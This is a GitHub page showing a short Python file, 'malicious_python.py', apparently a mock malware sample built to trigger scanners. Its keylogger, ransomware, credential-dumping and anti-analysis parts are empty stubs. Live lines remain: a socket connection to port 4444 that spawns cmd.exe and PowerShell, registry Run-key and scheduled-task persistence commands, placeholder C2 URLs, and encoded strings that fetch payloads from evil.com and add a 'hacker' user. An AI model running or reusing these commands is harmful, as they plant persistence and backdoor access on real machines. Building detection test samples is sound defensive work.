-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmalicious_python.py
More file actions
60 lines (51 loc) · 1.62 KB
/
Copy pathmalicious_python.py
File metadata and controls
60 lines (51 loc) · 1.62 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
# Malicious Python script
import os
import socket
import subprocess
import base64
import hashlib
# C2 communication
c2_server = "http://evil-c2-server.ru/commands"
backup_c2 = "http://malware-cdn.cn/beacon"
exfil_url = "http://stolen-data.com/upload"
# Reverse shell
def reverse_shell():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.100", 4444))
subprocess.call(["cmd.exe", "/c", "whoami"])
subprocess.call(["powershell.exe", "-enc", "encoded_payload"])
# Keylogger
def keylogger():
# keystroke capture module
# keylog recording active
pass
# Persistence
def persist():
os.system("reg add HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v updater /d malware.exe")
os.system("schtasks /create /tn update /tr malware.exe")
# RegSetValueEx persistence
# Credential dumping
def dump_creds():
# mimikatz sekurlsa::logonpasswords
# lsadump credential extraction
pass
# Ransomware module
def encrypt_files():
# Your files are encrypted
# Send bitcoin to decrypt
# .locked extension added
# CryptEncrypt CryptGenKey
pass
# Anti-analysis
def check_sandbox():
# IsDebuggerPresent
# CheckRemoteDebuggerPresent
# vmware detection
# sandbox evasion
pass
# Encoded payload
encoded = base64.b64encode(b"powershell -enc IEX(Download malware from http://evil.com/payload)")
decoded_payload = base64.b64encode(b"cmd.exe /c net user hacker Pass123 /add & certutil -urlcache http://evil.ru/trojan.exe")
# Network indicators
target_ips = ["10.0.0.55", "172.16.0.100", "192.168.50.25"]
admin_email = "admin@hacker-mail.ru"